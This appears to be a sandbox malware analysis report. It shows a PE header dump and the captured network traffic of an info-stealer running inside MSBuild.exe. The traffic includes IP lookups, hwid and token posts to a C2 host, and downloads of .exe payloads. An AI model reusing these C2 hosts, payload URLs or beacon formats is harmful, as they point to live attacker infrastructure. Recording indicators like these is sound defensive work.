00 2c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7c c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ec 93 00 00 00 e0 01 00 00 94 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 d0 26 06 00 00 80 02 00 00 18 06 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 c9 05 00 00 00 b0 08 00 00 06 00 00 00 78 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 1a 00 00 00 c0 08 00 00 1c 00 00 00 7e 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIHost: proxy.johnmccrea.comContent-Length: 256Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 46 36 46 43 41 35 35 35 42 35 36 31 31 36 36 31 37 30 34 33 30 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="hwid"8F6FCA555B561166170430-a33c7340-61ca------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------ECFHJKEBAAECBFHIECGI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBGHDGHCGHCAAKFIIECHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 47 48 44 47 48 43 47 48 43 41 41 4b 46 49 49 45 43 2d 2d 0d 0a Data Ascii: ------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="token"bbc8dde750f6df4e800b28425bf1b8dd------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------IDBGHDGHCGHCAAKFIIECContent-Disposition: form-data; name="mode"1------IDBGHDGHCGHCAAKFIIEC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJHost: proxy.johnmccrea.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"bbc8dde750f6df4e800b28425bf1b8dd------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="mode"2------FHDAEHDAKECGCAKFCFIJ--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGHDAECBFHJKEGIJKHost: proxy.johnmccrea.comContent-Length: 332Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 62 63 38 64 64 65 37 35 30 66 36 64 66 34 65 38 30 30 62 32 38 34 32 35 62 66 31 62 38 64 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 32 30 61 31 35 65 63 30 31 33 39 31 64 32 38 37 66 62 63 31 31 66 31 65 37 65 64 35 36 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 48 44 41 45 43 42 46 48 4a 4b 45 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="token"bbc8dde750f6df4e800b28425bf1b8dd------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="build_id"320a15ec01391d287fbc11f1e7ed5665------JJJEGHDAECBFHJKEGIJKContent-Disposition: form-data; name="mode"21------JJJEGHDAECBFHJKEGIJK--

Source: Joe Sandbox View	IP Address: 46.8.231.109 46.8.231.109
Source: Joe Sandbox View	IP Address: 141.98.233.156 141.98.233.156

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: CH-NET-ASRO CH-NET-ASRO
Source: Joe Sandbox View	ASN Name: AS40676US AS40676US

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: unknown	DNS query: name: api64.ipify.org
Source: unknown	DNS query: name: ipinfo.io
Source: unknown	DNS query: name: iplogger.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49781 -> 147.45.44.104:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.10:49780 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: HEAD /ldms/7f3c2473d1e6.exe#sp_vid HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: HEAD /ldms/f2e7fcb20146.exe#sp_sl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/f2e7fcb20146.exe#sp_sl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/7f3c2473d1e6.exe#sp_vid HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 349Host: 41.216.188.190

Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.55
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.188.190
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.85
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.231.109
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 2_2_0050BBB0 InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

2_2_0050BBB0

Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: api64.ipify.org
Source: global traffic	HTTP traffic detected: GET /widget/demo/8.46.123.33 HTTP/1.1Connection: Keep-AliveReferer: https://ipinfo.io/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: ipinfo.io
Source: global traffic	HTTP traffic detected: GET /1nhuM4.js HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: iplogger.org
Source: global traffic	HTTP traffic detected: GET /api/wp-ping.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Host: 41.216.188.190
Source: global traffic	HTTP traffic detected: GET /ldms/f2e7fcb20146.exe#sp_sl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/7f3c2473d1e6.exe#sp_vid HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36Host: jask.powerforxes.shopCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 46.8.231.109Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: proxy.johnmccrea.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: jask.powerforxes.shop
Source: global traffic	DNS traffic detected: DNS query: iplogger.org
Source: global traffic	DNS traffic detected: DNS query: proxy.johnmccrea.com

Source: unknown

HTTP traffic detected: POST /api/wp-admin.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36Content-Length: 133Host: 41.216.188.190

Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000114D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/)
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.php
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.php0
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-admin.phpR
Source: MSBuild.exe, 00000002.00000002.1449544714.0000000001161000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/api/wp-ping.php
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190/f
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-admin.php
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-admin.phpD
Source: MSBuild.exe, 00000002.00000002.1450554802.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-admin.php_
Source: MSBuild.exe, 00000002.00000002.1449544714.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://41.216.188.190:80/api/wp-ping.php
Source: MSBuild.exe, 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109
Source: MSBuild.exe, 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/
Source: MSBuild.exe, 0000000A.00000002.1913695959.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/d
Source: MSBuild.exe, 0000000A.00000002.1913695959.00000000015B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109/m
Source: MSBuild.exe, 0000000A.00000002.1913695959.0000000001567000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://46.8.231.109gr
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://cowod.hopto.org_DEBUG.zip/c
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft.c
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vid
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vidC:
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/7f3c2473d1e6.exe#sp_vidb
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001213000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl&
Source: MSBuild.exe, 00000002.00000002.1449544714.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl8
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_sl?
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jask.powerforxes.shop/ldms/f2e7fcb20146.exe#sp_slC:
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, MSBuild.exe, 0000000E.00000002.1726961026.000000000163A000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.00000000004B3000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/
Source: MSBuild.exe, 0000000E.00000002.1726961026.000000000163A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/N
Source: HJCfr5V5_QVbJA3PPM7OVXSs.exe, 00000009.00000002.1475112535.0000000000CF8000.00000004.00000001.01000000.00000007.sdmp, MSBuild.exe, 0000000E.00000002.1725881098.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/gfdsgrewgdsfadsahttps://steamcommunity.com/profiles/76561199780418869u55
Source: MSBuild.exe, 0000000E.00000002.1725881098.00000000004B3000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://proxy.johnmccrea.com/ontent-Disposition:
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: d1bc91bd44a0.exe, d1bc91bd44a0.exe, 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: MSBuild.exe, 00000002.00000002.1449544714.0000000001161000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json
Source: MSBuild.exe, 00000002.00000002.1449544714.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org/?format=json-
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api64.ipify.org:443/?format=json
Source: d1bc91bd44a0.exe, MSBuild.exe	String found in binary or memory: https://ipgeolocation.io/
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: d1bc91bd44a0.exe, 00000001.00000002.1393181232.0000000000A68000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000002.00000002.1449031326.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/https://ipgeolocation.io/::
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/8.46.123.33ba
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/8.46.123.33
Source: MSBuild.exe, 00000002.00000002.1450200342.0000000003969000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000002.00000002.1449544714.0000000001213000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/1nhuM4.js
Source: MSBuild.exe, 00000002.00000002.1449544714.00000000011F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/Sh
Source: MSBuild.exe, 00000002.00000002.1450200342.0000000003969000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org/z
Source: MSBuild.exe, 00000002.00000002.1449544714.000000000117C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://iplogger.org:443/1nhuM4.js
